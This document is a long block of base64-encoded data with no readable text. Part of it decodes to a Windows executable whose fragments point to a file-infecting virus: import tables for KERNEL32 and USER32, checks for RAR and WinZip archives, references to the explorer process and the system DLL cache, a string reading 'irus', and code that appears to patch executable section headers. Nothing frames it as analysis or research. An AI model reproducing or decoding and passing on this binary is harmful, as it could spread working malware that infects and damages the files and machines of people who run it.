EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEA0+OCmnoymgpgAzpCaiqT67pCcip6up
ADc6PiKkoCaiKQerIaQQrKIsKCanKaIHK6SrEKohEAcioaYQB6alphCkI6cppqAqqQA+KCcq
ByUsqBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBCmKAwQB6IsohAHqaEpEAcopCMQByGgKhAQEBAQEBAQEBAQ
EBAHKiwqEAckKqYQByQqpiYQB6ugIRAHoKkoEAcip6EQBykqIxAHLCapEAclKKMQB6EoKBAH
oRAHKKCpEAemKKMQB6YooqMQByGgpRAHpiiJEAcoIiMQELmnIyqroCmiPrakoSmnqacjKj67
pCcip6upPrGqKSmiJyo7oimppKcnPhCwKCgAOKAqJKkQOaonEDmqJ7cnoaIQuaypKqKmPrGq
KSmiJyqxpycqKacmuaIqPrmiKSukoaKpELmnIyqroCmiPrakoSmnqacjKj67sDE+u7AxCj67
oCEAM6QmogA3oKaiEDmqJ7miKSukoaKpELQnKqIpJ6IqALmiKiqkJ6OpPrGgoSSiPjigKiSp
EBAQEBAQEBA0pAYQNKImJqcGEDmiDRAzqw0QuicioiakK6IpoCEmogCmoKQmhoYBgqkBEDmi
KqopJ6IiAKagpCaGhgGCqQEQEBAQEKAAgqkAgqkAo6CmohCgAIKpAIKpACqnpyYQoACCqQCC
qQCroiGppCqiEKAAgqkAgqkAKKAqoSQQgqkAKaKmpyugJgAqp6cmqRAQEBAQEBAQJ6KrECOq
JyesECekoaIQJKqmp6opEKIsoaQqohCjp6ciECinqyOqJhC7pCc8OBC0sgALBwgQu4kJB7Im
paIpJwAQu4kJB7Umoi0HshAQJKerAKApogCsp6oQJqIqg6kAIaIAIymkoiciqRAioCkmpCej
EKmnAKGnpyYAoAAjJqCpJAaiJyWnrACkKhCsp6opACigqamrpykiECSnJ6KsEKmnpqIAqKqi
qSqkpyepECgmoqCpogAqKawAoKOgpCcQq6ImoaemogAqpwCmrAAkp6aiKqerJxAqJKIAs6Ap
IqInAKcjALIioicQpCcqKaciqqEqpKcnAKcnALAyuTYQpqKiKqQnowAnpyqkoaIQqKqiqSqk
pycnoKQpohChpyejKaAqqiagKqSnJ6kQqaepgBAloCigJ6KpogCjpCkmADu5ACgmoKwhp6wQ
JqenpQamrAAhoqCqKqQjqiYAo6QpJgAjKaSiJyIQoqCjoikAKqcAqaKiAKynqhCpKKShogCj
pCkmqYMAK6ehoCYAoacnoaIpKhAloCigJ6KpogAmoKmpgwCpoiysACikoSqqKaKpEBAQELms
pqAnKqKhELahoCOiohAzhrmioaopohC5pygkp6kQOimiJyKmpKEppxC1oKkooimppawQEBAQ
Mymnpg0AEDqnDQAQuaohJaKhKg0AEBAQOiSiACOnJianq6QnowCmoKQmAKGgJ4MqACGiAKmi
JyoAKqcAgqkNEDokogCgKiqgoSSmoicqEDokogAjpCaiEACkqQAqJKIApymko6QnoCYApqCk
JhAAo6QrogCsp6oAKiSiAIKpEACkqQCgAIKpACKgJ6OiKaeqqQArpCmqqQAqJKAqAIKpEKGg
JwCkJyOioSoApycAu6QnjAyHtqKHCQgICIc8OAcQqSgpoqAiACokKaeqoyQAoqagpCYHECui
KawAEKkooqGkoCYAECQqKigNh4cQq6urBxAHoaemEDOnKQCmpymiAKQnI6cppqAqpKcnBigm
oqCpogArpKmkKgAQOiSkqQCkqQAQtACCqQCsp6oAq6eqJiIAgqkApCoHEKInJaesECakpaIQ
q6SpJBAkpyiiEKIsKKKhKhAQsSQppKkqpqCpEDeiqwCsoqApELmgpCcqADugJqInKqQnooOp
ADKgrBCwJiYkoCYmp6umoKkQsCgppCYAM6enJqmDADKgrBA2oCKsADKgrBCwqamqpigqpKcn
ELGgJyImoqagqRCwJiYAuaeqJqmDMqCsELIopCgkoCesEBAQEBA0oCgorAAQNKArogCgABAQ
DiEpD5YVEJYVECinqSqmoKkqoikQEBC7pCelEBC0pqCjojigKiQQtrS2soY7oimppKcnDQCI
BwiWFbGnJyqiJyqGOqwoog0ApqomKqQooCkqh6AmKqIpJ6AqpCuijZYVlCGnqicioCmsjhCx
pycqoicqhjqsKKINACqiLCqHJCqmJo2WFbGnJyqiJyqGOimgJ6kjoimGsiehpyKkJ6MNAKiq
pyqiIoYoKaQnKqAhJqKWFZYVDjQ6tjYPDjSysDIPDoc0srAyDw4xtzK8D4KplhUOM7c3Og8Q
EA6HM7c3Og8OhzG3MrwPDoc0OrY2DxAQELGnJyqiJyqGOqwoog0AgqmNlhWUJ6Cmoo6CqZYV
sacnKqInKoY6KaAnqSOiKYayJ6GnIqQnow0AIaCpogsKlhWxpycqoicqhrQyDQAOgqkPEBAQ
EBAQEBAQEKCqIqSnhyyGq6ArEKCqIqSnhyyGpqQipBCgKCgmpKGgKqSnJ4enoSqiKoapKimi
oKYQEBAQEBAQEBCWFQ6kIymgpqIAqSmhjokyoaQiDYKpACSipKMkKo6JMggAq6QiKiSOiTII
D5YVDoekIymgpqIPEDokpKkAo6CmogCkqQCmrAAjpCmpKgCrpymlBw4hKQ+WFbynqoMpogAq
JKIAI6QpqSoAKCagrKIpBxC3tLG4EDgpp6MpoKYzpCaiqTKkKRAQEBCppiooBxC/sDs4iQkQ
v7A7OLGxEDe3MokJEDc4ubk7sRA3ObK5uIkJEDe5sTSyMokJEDe5sTSyMjc6EDe5ODa6s7Q3
EDewOxA3sDuwOLk7sRA3sDuwOLuJCRA3sDs2uokJEDewOzm6NzkQN7A7u4kJEL+wOzi2ELA2
sjk6uTuxELC2tzcQsDs4iQkQsDs4sbEQsDs4thA3iQm5sbA3uxA3sDu7NzoQsDc6tDu0ORCw
Ozi6ODIQsDuzsTo5NhCwO7u0N4yKELmxsDeJCRA7uTS7tDeJCRAzhrk6tzi7EDOGODm3OoyK
ELCxtbu0N4kJEDuyOjo5sLwQO7I6jIoQubuysjiMihA4sbG7tDeMDBC0t7a3N4wMELA7ODqx
ELA7sokJELA7sbc3ubc2EDM4hru0NxAyOziMihAzhrCzNzqMihCxNrC7jIoQNzuxjIoQubGw
NxA7tDm6uRA2t7G1Mre7NwkICAgQN6cpKqcnELahoCOiohCwJyqkK6QpEDqwubW2szkQEBAQ
EBAQEBAQEBAQEBAQEBAQsDc6tIY7tDkHMrA6ELE0tTa0uToHMrA6ELE0tTa0uToHtrkQsTS1
NrS5OgexOLkQsTS1NrS5Ogc6sDsQtDsxBzc6PRC5trA5OrE0tQe2uRC5trA5OrE0tQexOLkQ
sDuzuDoHMrA6ELCzurA5MgcysDoQEBAQEBAQuSQmq6AopAciJiYQtaIpJ6ImiQkHIiYmECei
KqAopIkJByImJhCpI6EHIiYmEBAQEBC5pCmhoKYQN6SmIqAQsaciojmiIhC7uLW2tokMiwwQ
szm0sjOJDIsMEDOqJwA2pyukJ6MAsSmkpqQnoCYQN6cpKqcnELahoCOiohCwJyqkK6QpELAr
oacnqacmEDOGuTq3OLsQM4a5oqGqKaIQuacoJKepECukKaqpELA7OAC2pyekKqcpELA7OAC6
KCKgKqKpELQnp6GqJqAqorQ6EDixhqGkJiakJxC5rKagJyqioRA6KaInIgC2pKEppxAzhjg5
tzoQADe3MokJABAQEDmio6SpKqIpuaIpK6Shojgpp6GiqakQN6IquSSgKaKwIiIQuTQyoiai
KqK1oqywELkjobSpM6QmojgppyqioSqiIhA3oiq5JKAporOiKrQnI6cQN6IqsCikMaojI6Ip
MymiohAQEBAQsjw4Nrc5sjkQsba2szkQpqmkpicQpKGroacnJxCrpCctpCgQEBAQEDgpp6Mp
oKYQgqkADoKpDxCwMbEysjOzNLQ1tTa2N7c4uDm5Oro7uzy8PaAhoSKiI6MkpCWlJqYnpyio
KakqqiurLKwtCIgJiQqKC4sMjIWHEKmiKqooEKQnqSqgJiYQIqKmpxCpJ6enKKwQKKShoKGq
EKWkKiqsECgmoKwQKaehpRAQEBAQEBAQOaApgB2TEPdYqRAQlhAQEBAQEBAQEAcpoCkQEKuk
J6QnoioHIiYmELQnKqIpJ6Iqs6IqsacnJ6KhKqIiuSqgKqIQEBAypCmioSqnKawQIiYmoaCh
JKIQELmiMqIhqqM4KaQrpCaio6IQuaI6oSE4KaQrpCaio6IQEBAQEBAQEBCrIYYloCigJweh
pwclKBAroimkLacnByeiKhCgKaiqpCmiIgeiqRAipCOgoQehp6YQELmnIyqroCmiPrakoSmn
qacjKj60JyqiKSeiKgCwoaGnqicqALagJ6Cjoik+sKGhp6onKqk+ELm2OjgAuaIpK6IpELm2
OjgAsqagpCYAsCIiKaKpqRAQu6cppgC1JqItB7IApKamqiekKqwQELUmoi0HsgCkqQAqJKIA
pqepKgChp6ampycAq6cpJiKGq6QiogCpKCmioCKkJ6MAq6cppge0KoOpACuiKawAIqAno6Ip
p6qpACGsAKGnKSmqKCqkJ6MArKeqKQAjpCaiqQcOISkPlhUxoqGgqqmiAKcjAKQqqQAroims
AKmmoCkqAKkqoqAmKiQAoCciAKAnKqSGoCcqpIYrpCmqqQAqoqEkJ6ShBqanqSoAoaempqcn
ALA7AKmnIyqroCmiAKGgJ4MqACKiKqKhKgCnKQChJqKgJwCkKgcOISkPlhW7ogAioiuiJqco
oiIAKiSkqQAjKaKiAKSmpqonpCqsACqnpyYAKqcAIqIjoqAqACokogCmoCakoaSnqqkAK6Qp
qqkHDiEpD5YVvKeqAKcnJqwAJ6KiIgAqpwApqicAKiSkqQAqp6cmAKcnoaIGoCciACokoicA
tSaiLQCrpCYmACeiK6IpAKGnpqIApCcqpwCsp6opADixBw4hKQ+WFTe3OrINADGioaCqqaIA
KiSkqQAqp6cmAKChKqkAoKkAoAAjoKWiALUmoi0AKqcAI6enJgAqJKIAKaKgJgCrpymmBqmn
pqIAsDsApqcnpCqnKQCmoKwhogChKawAqySiJwCsp6oAKaonAKQqBw4hKQ+WFbQjAKmnBrSj
J6cpogAqJKIAq6ApJ6QnowagJyIAqaImoqEqAIOhpycqpCeqooMHDiEpD5YVtCMArKeqACSg
K6IAoCesAKiqoqkqpKcnBigmoqCpogAOoAAkKaIjjokypqCkJiqnDYKpD6agpCYAKqcApqIO
h6APBxAQEBAQEBAQlhW7pCeJCQC1JqItADsJBwiIAAMAu6QniQkAM6cpp6osADuIBwiWFbGn
KKwppKMkKgAJCAgJBqagIqIApCcAsKmkoJYVsCGnqioAtSaiLQA7CQcIiA2WFZSIBragpCcA
pqSpqaSnJwCkqQAqpwApoiaioKmiACokogAnoqsAIaAhrAA4sgArpCmqqQa7pCeJCQAzpymn
qiyWFZQJBjenAKmkoyekI6ShoCcqAKEkoCejogc3pwAhqqMAI6QsoiIHN6cAoCesACigrCan
oCIHlhWwIaeqKgC7pCeJCQAzpymnqiwABCgmLQCloqIoACokogAnoKaiBiokoCcshJYVlIgG
M6omJgChp6YooCqkISaiALukJ4kJADiyACukKaqpAKcnALukJ4w8hwm1hzc6hzw4lhWUCQa7
pCokACuiKawApCcqoimiqSqkJ6MAI6KgKqopogexJKKhpQCkKoCWFZSJBjenAKAnrAAooKwm
p6AiBzenAKAnrACnKCqkpqQtoCqkpyeWFZQKBjenKgAhqqMAIymiogYhoqGgqqmiAKcjAKAA
JKopKawAq6cppQc3pwCmpymiACokoCcAKiQpoqIAq6KipakAIymnpgAkoCukJ6MAqaqhJACk
IqKgACqnAKChoaemKCakqSSkJ6MAoacipCejAKAnIgAqoqkqpCejlhUQAAABAAAAEAAAAB0A
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
YkWjT5DOe897Q8afizGEQ86ulTGEJsYjhDEawwAAJXMlMDhkAABhOlwAeAAAAAAAAAAAAAAA
AQAAAAAAAAAAAAAAAAAAAEqiQAACAAAAAQIECAAAAACkAwAAYIJ5giEAAAAAAAAApt8AAAAA
AAChpQAAAAAAAIGf4PwAAAAAQH6A/AAAAACoAwAAwaPaoyAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAIH+AAAAAAAAQP4AAAAAAAC1AwAAwaPaoyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIH+
AAAAAAAAQf4AAAAAAAC2AwAAz6LkohoA5aLoolsAAAAAAAAAAAAAAAAAAAAAAIH+AAAAAAAA
QH6h/gAAAABRBQAAUdpe2iAAX9pq2jIAAAAAAAAAAAAAAAAAAAAAAIHT2N7g+QAAMX6B/gAA
AAAaKkEAGipBAAAAIAAgACAAIAAgACAAIAAgACAAKAAoACgAKAAoACAAIAAgACAAIAAgACAA
IAAgACAAIAAgACAAIAAgACAAIAAgAEgAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAA
hACEAIQAhACEAIQAhACEAIQAhAAQABAAEAAQABAAEAAQAIEAgQCBAIEAgQCBAAEAAQABAAEA
AQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQAQABAAEAAQABAAEACCAIIAggCCAIIA
ggACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAEAAQABAAEAAgAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
